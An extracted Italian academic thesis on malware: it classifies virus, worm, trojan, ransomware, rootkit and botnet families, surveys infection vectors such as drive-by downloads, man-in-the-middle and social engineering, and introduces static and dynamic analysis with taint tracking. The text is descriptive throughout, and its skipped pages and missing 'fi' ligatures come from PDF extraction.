Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
I campi e gli esperti implicati nello studio del malware, visto nel suo insieme
comprensivo dei fles esecutivi (nocivi) , il loro possibile utilizzo, lo sfruttamento, la
propagazione , le implicazioni economiche e sociali dei possibili effetti, le contro mis-
ure attuabili, sono molto vari e toccano ambiti che in apparenza potrebbero sembrare
distanti :
gli analisti informatici affrontano , verifcano e studiano tutti i metodi possibili per
rendere trasparente il codice dei così detti “campioni” nocivi (fle esecutivi) che sono
immessi nei circuiti informatici, per trovare i modi più immediati per scovarli e mi-
tigarne gli effetti, per creare strumenti di analisi dinamica dei campioni sempre più
effcienti. I ricercatori ed i produttori di software anti-virus si confrontano con una
moltitudine di campioni (programmi sospetti da analizzare) potenzialmente dannosi.
Ricevere migliaia di nuovi campioni ogni giorno non è raro in quanto chi li propaga
spera che il tempo impiegato per analizzare ogni campione dia al proprio codice no-
civo la possibilità di penetrare nei computer degli utenti;
gli esperti del comportamento umano , individuano le debolezze che portano alcuni
utenti a cadere nella rete di chi predispone trappole malware (l'accesso dei fles infetti
nei supporti informatici fnali avviene proprio sfruttando debolezze, errori, falle,
comportamenti automatici ed impreparazione);
gli analisti economici i cui studi in materia delineano le varie sfde economiche che
affiggono la sicurezza informatica : incentivi disallineati, asimmetrie informative e
esternalità.
1 INTRODUZIONE...................................................................................................1
1.1 CONTESTO .........................................................................................................................1
1.2 BACKGROUND.....................................................................................................................3
1.3 SCOPO ED OBIETTIVI...........................................................................................................4
2 RASSEGNA SUL MALWARE E SUA CLASSIFICAZIONE...........................6
2.1 GLI ATTACCANTI................................................................................................................6
2.2 CARATTERISTICHE DEL MALWARE........................................................................................7
2.2.1 VIRUS.........................................................................................................................7
2.2.2 WORM........................................................................................................................8
2.2.3 TROJAN HORSE...........................................................................................................8
2.2.3.1 Ransomware e cryptoware ................................................................................................................9
2.2.4 SPYWARE, KEYLOGGER, SNIFFER .............................................................................10
2.2.5 CSS CROSS SITE SCRIPTING......................................................................................11
2.2.6 ROOTKITS.................................................................................................................11
2.2.7 BOT..........................................................................................................................13
2.2.8 BOTNET....................................................................................................................14
2.3 VETTORI DI PROPAGAZIONE / INFEZIONE............................................................................15
2.3.1 SERVIZI VULNERABILI TRAMITE LA RETE....................................................................15
2.3.2 DRIVE-BY DOWNLOAD.............................................................................................16
2.3.2.1 Man-in-the-Middle...........................................................................................................................18
2.3.2.2 Man-in-the-Browser.........................................................................................................................18
2.3.3 INGEGNERIA SOCIALE. ..............................................................................................19
2.3.3.1 Esempio: Attacco con violazione di Microsoft Xbox ....................................................................20
4
.
5
6.2.3 ESTERNALITÀ............................................................................................................90
7 CONSIDERAZIONI ............................................................................................92
8 CONCLUSIONI....................................................................................................94
9 APPROFONDIMENTI ANALISI DINAMICA................................................97
9.1 DETTAGLIO CHIAMATE DI FUNZIONE ................................................................................97
Application Programming Interface (API) ................................................................................................97
Chiamate di sistema.....................................................................................................................................97
API native di Windows nativo...................................................................................................................98
I risultati della funzione di Hooking (aggancio).........................................................................................99
Implementare la funzione di aggancio........................................................................................................99
Tracciare la Post-elaborazione della funzione di chiamata......................................................................101
9.2 DETTAGLIO TRACCIAMENTO FLUSSO DI INFORMAZIONI ...................................................102
Dipendenze Dirette dei dati ......................................................................................................................102
Utilizzo delle Dipendenze ....................................................................................................................102
Controllo delle Dipendenze del flusso .................................................................................................103
Il flusso di informazioni implicite ........................................................................................................103
Implementazione di sistemi di flusso di informazioni di monitoraggio .................................................104
9.3 DETTAGLIO EMULATORE ................................................................................................105
Emulatore di Memoria e CPU...................................................................................................................105
Emulazione completa del sistema ............................................................................................................106
9.4 DETTAGLIO RIPRISTINO AMBIENTE DI ANALISI ...............................................................108
Soluzione software. ..................................................................................................................................108
Istantanee Macchina Virtuale....................................................................................................................108
Supporto hardware per le istantanee ........................................................................................................108
6
.
7
Elenco di Abbreviazioni e Simboli
8
.
IDT Il Descriptor Table interrupt (IDT) è una struttura di dati utilizzata dal ar-
chitettura x86 per implementare una tabella vettore di interruzione. L'IDT
è utilizzato dal processore per determinare la risposta corretta per inter-
rupt ed eccezioni.
ISA Un set di istruzioni, o architettura del set di istruzioni (ISA), è la parte
dell'architettura computer connessa alla programmazione, compresi i tipi
nativi di dati, istruzioni, registri, modalità di indirizzamento, architettura
della memoria, interrupt e gestione delle eccezioni, e I / O esterno. Un
ISA comprende una specificazione del set di codici operativi (linguaggio
macchina), e i comandi nativi attuati da un particolare processore.
IRC Internet Relay Chat (IRC) è un protocollo di messaggistica istantanea su
Internet Descrizione : RFC 1459.
KADEMLIA E' un protocollo di rete peer-to-peer. utilizzata per il file sharing, basata
su tabelle distribuite su nodi della rete senza server centrali.
KVM KVM (kernel-based per Virtual Machine) è una soluzione di virtualizza-
zione completa per Linux su hardware x86 contenente le estensioni di
virtualizzazione (Intel VT o AMD-V).
MPLS Multi Protocol Label Switching è una tecnologia per reti IP che permette
di instradare flussi di traffico multiprotocollo tra nodo di origine (Ingress
Node) e nodo di destinazione
MSR Machine state register è un registro di stato della macchina , uno dei tre
registri di controllo di processo presenti nell'architettura processore
PowerPC
P2P Peer-to-peer (P2P) o rete paritaria o paritetica, è un'espressione che in-
dica un'architettura logica di rete in cui i nodi sono visti sotto forma di
nodi equivalenti o paritari (in inglese peer) che possono cioè fungere sia
da cliente che da servente verso gli altri nodi terminali (host) della rete.
Essa dunque è un caso particolare dell'architettura logica di rete cli-
ent-server.
PowerPC Acronimo di Performance Optimization With Enhanced RISC – Perform-
ance Computing, a volte abbreviato in PPC, rappresenta l'architettura
dell'insieme ISA RISC.
PTE Page Table Entry in ciascuna tabella delle pagine, ci sono anche 1024
entries. Sono entries della tabella delle pagine, e sono molto simili a
quelle della pagina delle directory.
9
puter e periferiche di rete.
WIDGET Un widget, in informatica, è un componente grafico di una interfaccia
utente di un programma, che ha lo scopo di facilitare all'utente l'in-
terazione con il programma stesso.
10
1. Introduzione
1 Introduzione
1.1 Contesto
Da quando l' utilizzo degli strumenti di comunicazione e di lavoro basati su
codice binario è diventato massivo è cresciuto in modo esponenziale il numero di col-
oro che appartengono al gruppo degli attaccanti degli utenti legittimi (o, per meglio
dire degli utenti inseriti nella regole di convivenza sociale che prevede il rispetto
della privacy e della proprietà) e studiano ed attuano a vari livelli software e tecniche
(di sfruttamento di falle di sicurezza , di ingegneria sociale,...) per carpire inform-
azioni da utilizzare per varie fnalità. Gli attacchi sono cresciuti con la diffusione in
tutto il mondo di Internet . Internet è presente ovunque: scuole, enti pubblici, casa, la-
voro. La connessione Internet è sempre disponibile per gli utenti: Internet mobile a
costi contenuti, larga diffusione di dispositivi mobili per accedere alla Rete (tablet e
smartphone). Ampio è utilizzo di Internet per effettuare il pagamento di servizi pub-
blici, acquistare prodotti e gestire i conti bancari.
Quota percentuale di utenti sottoposti ad attacchi provenienti dal Web (1° semestre del 2012):
Stati Uniti – 38,8%, 31° posto nel mondo;
1
Germania — 28,8%, 101° posto;
Gran Bretagna — 36,8%, 42° posto;
Francia – 36,3%, 44° posto;
Italia – 43,5%, 18° posto;
Unione Europea – 32,1%.
Elevato numero di utenti Mac OS X, crescita costante del numero di smartphone dotati di sis-
tema operativo mobile Android.
I sistemi operativi sottoposti al maggior numero di attacchi: Windows, Android,Mac OS X [1].
Di contro anche tra coloro che per studio, ricerca o per professione studiano le
contromisure si sono dotati di mezzi e strumenti sempre più sofsticati , sono stati
arruolati alcuni attaccanti seguendo la regola che prevede “per vincere conosci il
tuo nemico”.
2
1. Introduzione
1.2 Background
I primi malware conosciuti furono denominati virus. Il termine virus è stato
utilizzato per la prima volta da Len Adleman, un ricercatore dell’Università Lehigh in
Pennsylvania, che ha paragonato il comportamento di un virus informatico a quello
di un virus biologico, soprattutto per quanto concerne il propagarsi dell’infezione [2].
In origine questi programmi non furono creati per provocare danni. Il primo fu intro-
dotto nel 1970 sotto il nome di Creeper ed attaccò la rete ARPAnet .
Il primo virus sviluppato in Italia, che ebbe una notevole diffusione in tutto il
mondo, fu il cosiddetto virus della pallina – denominato Ping-pong – che si limitava a
far comparire sul video del computer una faccina sorridente che si spostava su tutto
lo schermo. È quasi certo che tale virus sia stato realizzato per fni di ricerca, nel 1987,
da alcuni studenti del Politecnico di Torino.
I nomi sono Virus, Worm, Trojan horse, Spyware, Keylogger, Sniffer, Rootkit,
Backdoor, Adware …, possono essere utilizzati a gruppi per creare l'ossatura di Botnet,
infrastrutture costituite da bot (pc infetti) che propagano azioni nocive in rete. Le bot-
net costituiscono l'ultima generazione dei cyber-attacks. McAfee [3] cataloga oltre
100.000 nuovi campioni di malware ogni giorno e questo signifca circa 69 nuove min-
acce ogni minuto o circa una minaccia al secondo.
Con l'aumento di strumenti già disponibili e sofsticati, gli attacchi delle nuove
generazioni di minacce informatiche stanno diventando sempre più mirati, persist-
enti e nascosti. La fgura n.1 illustra il confronto di malware tradizionali e avanzati. I
3
malware avanzati sono mirati, sconosciuti, furtivi, personalizzati e Zero Day [1]
rispetto ai quelli tradizionali che erano diffusi, conosciuti, aperti e one-time.
[1]
Zero Day , termine usati per descrivere la minaccia di una vulnerabilità di sicurezza sconosciuta in un
software o in applicazioni per le quali la patch (correzione) non è stata rilasciata o gli sviluppatori ne
erano inconsapevoli o non hanno avuto il tempo suffciente per affrontarla
4
1. Introduzione
5
2 Rassegna sul malware e sua classificazione
La sezione seguente fornirà una panoramica di diversi tipi (le famiglie più
note) e delineerà la loro rilevanza anche nel contesto assunto all'interno delle botnet
delle quali, sarà fornita una descrizione sul funzionamento e saranno introdotti di-
versi tipi di infrastrutture e dei metodi più signifcativi delle botnet più recenti.
6
2. Rassegna sul malware e sua classificazione
Quando le attività svolte degli hacker diventano crimini veri e propri vengono
anche defniti cybercriminali. Infatti il Cyber-crime, o criminalità informatica, com-
prende le attività criminali che implicano un computer e una rete. H. Debarati e K .
Jaishankar [B-15]defniscono i Cyber-crimes come: "Reati che sono commessi nei con-
fronti di individui o gruppi di individui con la fnalità di danneggiare intenzional-
mente la reputazione della vittima o causare danno fsico o mentale, o perdite, in ma-
niera direttamente o indirettamente, utilizzando reti di telecomunicazione moderne
come internet (Chat room, e-mail, gruppi) e telefoni cellulari (SMS / MMS) ".
2.2.1 Virus
E' un termine predominante emerso in combinazione con il termine malware . Il ter-
mine è spesso usato per descrivere i diversi tipi di malware, anche se questi non corrispondono
agli attributi relativi alla defnizione stessa di un virus. Alcune defnizioni sono:
Un virus è un tipo specifco di software dannoso caratterizzato da auto-replicazione [B-46] ; è
un fle di programma per computer in grado di associarsi ai dischi o ad altri fle e di replicarsi
ripetutamente, in genere all'insaputa o senza il permesso dell'utente . Alcuni virus si attaccano
ai fle, in modo che quando il fle infetto viene eseguito, anche il virus viene eseguito. Altri vir-
us risiedono nella memoria di un computer e infettano i fle all'accensione del computer,
modifcano o creano fle. Alcuni virus mostrano dei sintomi, altri danneggiano i fle e il com-
puter-system, ma nessuna delle due caratteristiche è essenziale nella defnizione di un virus;
un virus che non danneggia è ancora un virus [6] ;
I virus sono programmi che si auto-replicano in modo ricorsivo, il che signifca che i
sistemi infetti diffondono il virus ad altri sistemi, che poi propagano ulteriormente il virus.
7
Mentre molti virus contengono un payload distruttivo, è abbastanza comune per i virus non
fare nulla più di diffondersi da un sistema all'altro (comportamento passivo). La pro-
pagazione effettiva tra i sistemi avviene quando i fle infetti vengono trasferiti su altri sistemi.
A seconda del suo sviluppo, un virus informatico può utilizzare tutti i tipi di supporti diversi
per queste capacità riproduttive, come ad esempio i fle-system basati su rete o supporto
rimovibile.
Esempio sez. 10.1 : il codice in linguaggio C di un programma con le caratteristiche di un
virus: il suo eseguibile applica metodi win32 ed agisce sul registro.
2.2.2 Worm
A differenza di un virus, un worm non ha solo la possibilità di copiare se stesso su di-
versi sistemi , ma è anche in grado di diffondersi attivamente. Un worm è in grado di cercare
autonomamente altri computer all'interno della rete e di infettarli, se sono stati individuati
come vulnerabili. Questo è in genere realizzato sfruttando note o vulnerabilità sconosciute nel
sistema operativo o software aggiuntivo installato su di esso.
“Un worm è come un virus che si diffonde attraverso la creazione di duplicati di se stesso su
altre unità, sistemi o reti. Un worm mass-mailing è quello che richiede l'intervento di un
utente per diffondersi, (ad esempio, l'apertura di un allegato o l'esecuzione di un fle scaric -
ato). A differenza dei virus, gli worm non infettano altri fle. La maggior parte dei virus di
posta elettronica di oggi sono worm. Un worm di auto-propagazione non richiede l'intervento
dell'utente per diffondersi. Esempi di worm di auto-propagazione includono Blaster, Sasser e
Confcker”[6].
8
2. Rassegna sul malware e sua classificazione
fngendo di essere software legittimo da eseguire per attività lecite ed in buona fede. Fin -
gendo di avere uno scopo legittimo, inganna l'utente al fne di installare o eseguire software
che contiene il trojan horse, che poi provvederà a caricare routine dannose embedded.
“Un programma dannoso che fnge di essere un'applicazione innocua. Esso non si replica, ma
provoca danni o compromette la sicurezza del computer. In genere, sono inviati tramite email,
è anche possibile scaricare un trojan da un sito web o tramite rete peer-to-peer. I trojan non
sono considerati virus in quanto non si replicano “[6].
I trojan più conosciuti sono sicuramente le cosiddette Back Door (o R.A.T. "Remote Access
Tool" o anche Trojan Client - Server) che permettono di gestire un sistema remoto tramite
protocollo TCP/IP. Nati con lo scopo di facilitare il lavoro di chi ha la necessità di lavorare su
macchine remote, permettono di avere il pieno controllo del sistema infetto [7].
Generalmente sono costituiti da due parti: il Client e il Server.
• Il server (la parte di programma da installare sul sistema vittima), quando viene eseg-
uito, apporta delle modifche ai registri di sistema in modo da essere avviato ad ogni
sessione e si mette in ascolto su una determinata porta; solitamente è di piccole di-
mensioni e la sua esecuzione è invisibile all'utente.
• Il client, invece, è installato sulla macchina "dell' aggressore". Questa applicazione per-
mette di comunicare con il server. Esistono centinaia di Back Door ma, grosso modo,
la maggior parte tende ad avere le caratteristiche delle tre più famose (ed utilizzate):
Net Bus, Back Orifce, Sub Seven.
Sul sito di Karpersky [1] esiste una classifcazione/differenziazione dei trojan in base
alle conseguenze delle loro azioni : Backdoor, Exploit, Rootkit, Banker, DDoS, Downloader,
Dropper, FakeAV, GameThief, IM, Ransom, SMS, Spy, Mailfnder, ...
Esempio di trojan backdoor server sul sito di Chris Neel .[7]
Esempio di trojan banker (in azione) sul sito Symantec [9].
9
dispositivo. Alcuni nomi di ransomware: CryptoLocker, CryptoWall, CoinVault, TorLocker,
CoinVault, TeslaCrypt e CTB-Locker.
Nel luglio del 2015 Andrey Pozhogin [28] , esperto di cybersecurity di Kaspersky
Lab, presenta la sua analisi: mette in evidenza la tendenza crescente degli attacchi ransom -
ware, spiega come opera un attacco di ransomware e le conseguenze associate con il paga-
mento del riscatto, e ciò che possono fare utenti ed imprese per proteggersi. Purtroppo, in
molti casi, una volta che il ransomware viene lanciato, se non c'è un backup o tecnologia pre-
ventiva collegata al sistema, vi è molto poco che un utente possa fare. Tuttavia, a volte è pos-
sibile aiutare gli utenti a decifrare i loro dati che sono stati bloccati dal ransomware, senza
dover pagare il riscatto. Sono stati creati archivi di chiavi di decifrazione. Ma l'attacco può
avvenire soltanto se c'è l'interazione della vittima con il potenziale attaccante: Un ransomware
è in genere trasportato tramite una e-mail che include un allegato che potrebbe essere un fle
eseguibile, un archivio, o un'immagine. Una volta che l'allegato viene aperto, il malware
viene distribuito sul sistema dell'utente. Un ransomware potrebbe anche andare in esecuzione
sulla macchina di un utente se questo visita un sito web che ha nascosto il malware. Una volta
sul sito, un utente esegue inconsapevolmente script non sicuro (a volte facendo clic su un
link o il download di un fle) e il malware viene distribuito al sistema.
Entrambi sia Ramsomware che Cryptoware sono un tipo di malware utilizzato come
meccanismo digitale di estorsione.
Esempio Sez.10.8 : Attacco Ransomware TorLocker
10
2. Rassegna sul malware e sua classificazione
Javascript (introdotto da Netscape nel 1995) permetteva agli sviluppatori web di fare
ogni sorta di attività come il rollover, movimenti del mouse, e aprire fnestre pop-up. In un
primo momento l'uso era abbastanza ordinato, ma quello che è stato presto scoperto è che un
sito web malintenzionato poteva caricare un altro sito in una cornice o una fnestra adiacente,
quindi usare JavaScript per leggere in esso. Un sito web potrebbe attraversare un confne e
fare script in un'altra pagina. Estrarre dati da moduli, riscrivere la pagina, ecc e da qui il nome
di cross-site scripting (CSS). Attualmente DOM XSS è potenzialmente estremamente perico-
loso siti web basati su cloud e nuove interfacce Web HTML5 usano moltissimo codice Javas -
cript. Javascript può essere abusata per l'hacking in siti web. Questo pericolo è segnalato nella
classifca top Ten 2013 OWASP (The Open Web Application Security Project) [46] e di con-
seguenza nello standard PCI DSS [47].
2.2.6 Rootkits
Sul sito di Karpersky [1] viene classifcato come trojan. La caratteristica principale di
un rootkit è la sua capacità di nascondere determinate informazioni (cioè, la sua presenza) da
un utente di un computer. I rootkit inizialmente erano stati concepiti come uno strumento
riservato agli amministratori , permettendo loro di avere pieno controllo sui processi in fun-
zione nei sistemi client . Questo enorme potere è dato dall'esecuzione diretta del rootkit sul
nodo principale dei sistemi operativi, per lanciare dei processi critici . Con il passare del
tempo questo ruolo di "super-utilizzatore" si è rigirato contro l'industria informatica . Infatti
con questi metodi, agenti esterni riescono ad infltrarsi nei sistemi per prenderne il controllo,
all'insaputa degli utilizzatori ,i quali ignorano la maggior parte delle volte queste intrusioni.
Tecniche rootkit possono essere applicate a differenti livelli di sistema .
11
alle applicazioni. Il rootkit per raggiungere il suo scopo , và ad agire proprio su questo settore,
intercettando le risposte che le funzioni API restituiscono alle applicazioni, per rimuovere da
esse qualsiasi riferimento riguardante l'oggetto che intende occultare (trojan o backdoor). E' ov-
vio che non avendo ricevuto alcuna informazione, le applicazioni non potranno rilevare alcun
oggetto nascosto . Il rootkit fà in modo di essere lanciato ad ogni avvio del sistema operativo
attraverso una chiave di registro, ovviamente resa anch'essa invisibile con la tecnica appena
vista. Una volta attivo, come una qualsiasi applicazione, il rootkit può operare sia in user-
mode, che in kernel-mode. I programmi che girano in user-mode sono più limitati, nel senso
che operano in un'area ristretta della memoria, e non possono in alcun modo accedere ad
altre aree della memoria stessa . Il kernel-mode al contrario, consente un accesso illimitato ,
ciò signifca che un software in kernel può modifcare e sovrascrivere anche altri programmi
(addirittura il codice del sistema operativo) presente in memoria. Un programma per girare
in kernel-mode deve però essere avviato con privilegi d'amministratore. I rootkit sono al mo-
mento classifcati "user-mode" o "kernel-mode" in base a come si comportano una volta nel
sistema [20].
12
2. Rassegna sul malware e sua classificazione
Il rootkit TDSS è comparso nel 2008 . Da allora si è molto diffuso, la sua caratteristica princip-
ale è di infettare il settore di avvio (boot), in modo che il codice maligno viene caricato prima
del sistema operativo. TDSS implementa il concetto di infettare i driver; questo signifca che
viene caricato ed eseguito nelle prime fasi del sistema operativo, questo complica notevol-
mente il rilevamento e rende la rimozione una sfda seria. Nel tempo ha subito varie modi -
fche ma alcune parti sono rimaste invariate:
Gli identifcatori TDL [50];
strumenti di infezione dei driver;
L'utilizzo di fle di confgurazione,
Lavorare con il pannello С & C.
2.2.7 Bot
U n bot è un pezzo dannoso di software che può essere installato su una macchina
utente a sua insaputa (dell'utente). Una volta iniziata la sua esecuzione, il bot si connette ( in
alcuni casi al server IRC) e si unisce al canale specifcato dall'attaccante. Questi bot sono con-
trollati a distanza da un aggressore. Pertanto, la differenza principale tra worm e bot è che il bot
offre all'attaccante un canale controllato a distanza .
13
2.2.8 Botnet
Una botnet è una rete formata da dispositivi informatici collegati ad Internet e infet-
tati da malware che si trovano sotto il comando di un singolo hacker, o un piccolo gruppo di
hacker, conosciuto come un botmaster. I dispositivi che compongono la botnet sono chiamati
bot (da roBOT) o zombie .
• Un bot si riferisce a client-host compromessi, o ad un computer, che è membro di una
botnet. Senza causare confusione, un bot si riferisce anche ad un eseguibile maligno
che compromette i controlli e recluta client-host in una botnet.
• U n o zombie è un elemento compromesso (bot) appartenente alla botnet. CnC (o
C&C)[3] in genere un server IRC impostato da un botmaster . Dopo che un bot avrà in-
fettato un host, si collegherà al server C&C e attenderà i comandi del botmaster. I bot
consentono ai loro creatori di controllare il sistema da remoto.
• I controllori della botnet possono in questo modo sfruttare i sistemi compromessi per
lanciare attacchi distribuiti del tipo ‘distributed denial of service’ (DDoS) contro
qualsiasi altro sistema in rete oppure compiere altre operazioni illecite, in taluni casi
agendo persino su commissione di organizzazioni criminali.
La fgura illustra la struttura generale di una rete bot ed esempi di attacchi DDoS. Il bot
scopritore (triangolo rovesciato, in basso isolato) , la connessione al server centralizzato CnC
(quadrato grande , al centro). I bot (quadratini) già inseriti nella rete ( le truppe che acquisis-
cono una nuova vittima per essere infettata) . Uno dei bot trova una nuova vittima e la infetta
(cerchio , sopra). Infne, un certo numero di bot attaccano un server web (triangolo a sinistra)
in forma DDoS [B-39] .
Sezione n. 5 : Approfondimento sulle Botnet
Esempio n. 10.6 :Schema di attacco di una Botnet
[3]
I server di comando e controllo (C n C o C & C) sono macchine centralizzate in grado di inviare
comandi e ricevere le uscite dalle macchine infette dette anche “zombie” facenti parte di una bot-
net.
14
2. Rassegna sul malware e sua classificazione
15
tale attacco tenta in modo iterativo di accedere a un sistema che utilizza le password
memorizzate in un dizionario. Questo vettore di attacco è identico al caso dei servizi
di rete sfruttabili. Inoltre, la disponibilità di linguaggi di scripting lato client, come
Javascript o VBScript, forniscono all'attaccante mezzi supplementari per lanciare con
successo un attacco [B-14] [B-16] .
Drive-by download hanno come bersaglio il Web browser della vittima. Sfrut-
tando una vulnerabilità nell'applicazione , un drive-by download è in grado di scarica-
re codice dannoso dal web e successivamente eseguirlo sulla macchina della vittima.
Ciò avviene di solito senza ulteriore interazione con l'utente.
Diversamente, per sfruttare le vulnerabilità nei servizi di rete in cui gli sche-
mi di infezione push-based sono dominanti. I download drive-by seguono uno schema
pull-based [B-41] . Cioè, le connessioni vengono avviate dal cliente quando sta ri-
chiedendo contenuti dannosi. Pertanto, i frewall che proteggono i servizi di rete da
accessi non autorizzati non possono mitigare la minaccia di attacchi drive-by.
16
2. Rassegna sul malware e sua classificazione
spam che contengono link a questi siti o infettano pagine web esistenti con il codice
maligno. Ad esempio, una tempesta di worm si avvale delle proprie risorse della bot-
net per inviare mail di spam contenenti link a tali pagine di attacco [B-24] .
Per massimizzare il numero di siti che ospitano tali attacchi drive-by, gli ag-
gressori sfruttano vulnerabilità nelle applicazioni web che permettono loro di mani-
polare questi siti web . Esempio di attacco è quello avvenuto nel 2008 al sito dell'
Ambasciata dei Paesi Bassi in Russia [5] , in cui gli attaccanti utilizzano un vettore di
infezione dei servizi di rete vulnerabili per lanciare attacchi download drive-by contro i
clienti di tale servizio.
Un'altra tecnica utilizzata dagli attaccanti per attirare gli utenti ai loro siti web
è quella di cercare di ingannare gli algoritmi di ranking dei motori di ricerca del Web
utilizzati per ordinare le pagine dei risultati. Un utente malintenzionato potrebbe
creare una pagina che è specifcamente resa di rango elevato per i termini di query di
ricerca comune.
2.3.2.1 Man-in-the-Middle
Nella terminologia di sicurezza di rete , " The Middle" è defnito in senso mol-
to ampio. In questo caso si riferisce al dominio d'azione di Man in the Middle( MITM)
una tecnica che rappresenta il caso in cui un soggetto non autorizzato inserisce se
stesso surrettiziamente a un certo punto lungo il fusso di comunicazione tra due o
più parti così da acquisire la capacità di controllare le informazioni scambiate, e forse
anche di modifcare tali informazioni, generalmente senza essere scoperti, permette di
assumere il controllo di una connessione dopo l'autenticazione iniziale. In teoria , l'at-
17
tacco può essere eseguito in qualsiasi punto lungo il canale di comunicazione tra la
vittima . MITM può attaccare attraverso un server che controlla in qualsiasi punto
lungo il canale dati , o dovunque sia possibile prevedere un punto fsico di allaccio .
In pratica sarebbe ineffcace un attacco da qualche parte a caso nella rete dove il traf-
fco è soggetto a futtuazioni di tabelle di routing . Pertanto , questo approccio di soli-
to deve essere iniziato con un attacco di phishing per ingannare l'utente a colmare il
divario .
Quando una macchina fnale sta usando una connessione wireless, MITM po-
trebbe anche interporsi tra tale macchina e la sua connessione al router wireless, prele-
vando il segnale in uscita e poi apparire come l' utente della macchina al router . Il
"Middle " descritto comprende quindi tutti i punti dal momento in cui un segnale la-
scia una macchina ad una estremità di una transazione fno a poco prima di raggiun-
gere la sua destinazione. Tuttavia, MITM potrebbe anche violare l'integrità del segna-
le prima ancora che questo lasci il PC dell'utente, se sottopone l'utente all' attacco di
Man nel Browser (MITB) .
2.3.2.2 Man-in-the-Browser
E' una variante dell'attacco Man-in-the-Middle . L' attacco Man in the Browser
(MITB) è un forma più recente di attacco in cui l'utente del browser è danneggiato
per agire come punto di presa(tap) nel fusso di informazioni, un attacco che si verif-
ca a livello di sistema, tra l'utente e il browser, [piuttosto che attraverso] il protocollo
[B-70] [B-71]. Questo, parlando di struttura, è un Man-in-the-Middle tra l'utente e
meccanismi di sicurezza del browser [B-72] . Pertanto, in termini di sicurezza di rete,
l'attacco MITB è un caso particolare dell' Attacco MitM in cui l'intrusione avviene al
capo estremo del percorso molto più vicino all'utente.
18
2. Rassegna sul malware e sua classificazione
no al livello di sicurezza che viene installato sui sistemi che attacca . Si conoscono co -
munque casi di trojan che da soli sono riusciti ad attaccare centinaia di migliaia di
utenti contemporaneamente (pertanto ha una grande scalabilità).
Tra i primi e più famosi esperti di tale arte che l'hanno applicata al mondo in-
formatico c'è Kevin D. Mitnik il quale afferma che “è molto più facile ingannare qual-
cuno per farsi dare una password che spendere tempo e fatica a rompere un sistema”.
19
stato realizzato attraverso tecniche dirette di hacking come ad esempio attacchi di
password contro portali d'accesso o codice che sfrutta zero-day. Invece gli attaccanti
hanno seguito la metodologia standard di ingegneria sociale al fne di acquisire un
pezzo di informazioni per poi acquisire un altro pezzo più sensibile.
Questo metodo può essere paragonato a quello di effettuare una caccia al te-
soro o riunire pezzi di un puzzle . Con una quantità suffciente di indizi o pezzi del
puzzle, si è ancora in grado di raggiungere l'obiettivo fnale o di capire cosa l'imma -
gine del puzzle potrebbe essere, senza bisogno di tutti gli indizi o pezzi del puzzle.
Questo attacco dimostra due tecniche molto comuni ed effcaci di social engi-
neering. Il primo è il concetto di trasformare le informazioni innocue in informazio-
ni sensibili. Ad esempio, gli attaccanti possono aver avuto alcuni frammenti di in-
formazioni personali riguardanti i dipendenti Microsoft. Questo può essere stato in-
dirizzi e-mail, data di nascita, ecc … Hanno quindi utilizzato tali informazioni, insie-
me con l'ingegneria sociale, per ingannare una società a rivelare SSN del dipendente.
Poi il SSN può essere utilizzato per ingannare la società di terze parti nella reimpo -
stazione della password per l'account Xbox LIVE o tutto ciò che era necessario per ot-
tenere l'accesso ad essa.
20
2. Rassegna sul malware e sua classificazione
za delle informazioni è forte come il luogo più debole in cui siano archiviate o uti -
lizzate.
21
3 Analisi del malware Statica e Dinamica
Uno dei compiti più comuni che deve eseguire un analista di malware è la va-
lutazione iniziale, o la classifcazione di contenuto sconosciuto. La classifcazione
spazia dalla più semplice , come nella rilevazione del tipo di fle, a quella più com-
plessa, come ad esempio il rilevamento della similarità percentuale con altri campio-
ni e determinare quali comportamenti sono condivisi tra le varianti dello stesso mal-
ware. E' a questo punto che entra in campo il concetto di frma sul campione di mal-
ware. Oggi, le frme per toolkit anti-virus vengono create manualmente. Prima di scri-
vere una frma, un analista deve sapere se un campione non noto rappresenta una
minaccia per gli utenti.
Esempio Sez. 10.5 : come classifcare e frmare un fle con ClamAV.
Diverse tecniche di analisi del malware consentono all'analista di comprendere
rapidamente e in modo dettagliato il rischio e l'intenzione di un determinato campio-
ne. Questa intuizione permette di reagire alle nuove tendenze nello sviluppo di mal-
ware o perfezionare tecniche di rilevamento esistenti per attenuare la minaccia prove-
niente da quel campione. [B-16]
22
3. Analisi del malware Statica e Dinamica
23
Si deve considerare, per esempio, che la maggior parte degli attacchi di mal-
ware su host eseguono istruzioni del set IA32 [12]. Il disassemblamento di tali pro-
grammi potrebbe comportare risultati ambigui se il binario utilizza tecniche di codice
automodifcante (ad esempio, i programmi di packer [B-48] [esempi nella sezione
n.10] ). Inoltre, il malware, basandosi su valori che non possono essere staticamente
determinati (ad esempio, la data corrente del sistema, le istruzioni di salto indiretto)
aggravano l'applicazione di tecniche di analisi statica. Moser [B-33] propone una me-
todologia che si basa su costanti opache per contrastare l'analisi statica.
Si può prevedere che gli autori di malware conoscano dei limiti nei metodi di
analisi statica, e, quindi, probabilmente creeranno istanze di malware che utilizzano
queste tecniche per contrastare tale analisi. Pertanto, è necessario sviluppare tecniche
di analisi che siano resistenti a quelle modifche e siano in grado di analizzare in
modo affdabile software dannoso.
Segue una descrizione dei metodi e delle tecniche sviluppate da esperti per la
rilevazione del comportamento anomalo di programmi in esecuzione. Questi metodi
possono essere utilizzati in maniera integrata tra loro per ottenere una più effciente
attività di rilevazione.
24
3. Analisi del malware Statica e Dinamica
1
Gli Handles (maniglie) sono strutture di dati che rappresentano le istanze aperte di oggetti base del sistema
operativo con cui le applicazioni interagiscono , ad esempio file, chiavi di registro, primitive di sincronizzazione, e
la memoria condivisa. Ci sono due limiti relativi al numero di handle che un processo può creare: il numero
massimo dell' insieme di handles di sistema per un processo e la quantità di memoria disponibile per memorizzare
gli handles e gli oggetti a cui l'applicazione fa riferimento con gli handles [22].
25
In linea generale, i dati che devono essere monitorati sono specifcamente
contrassegnati o “tainted” con un'etichetta corrispondente. Ogni volta che i dati
sono trattati con l'applicazione, la sua “tainted-label” si propaga. Istruzioni di asse-
gnamento, per esempio, di solito propagano la tainted-label dell' operando sorgente
alla destinazione. Oltre ai casi evidenti, le politiche devono essere impostate affnchè
descrivano come le tainted-label sono propagate in scenari più diffcili. Tali scenari in-
cludono l'utilizzo di un puntatore tainted come l'indirizzo di base per l'indicizzazione
di un array o espressioni condizionali che sono valutate su valori alterati.
Fonti “taint” e Pozzi “taint”. Due concetti vitali dei sistemi di monitoraggio del
fusso dati sono fonti taint e pozzi taint. Una fonte taint è responsabile dell'introdu-
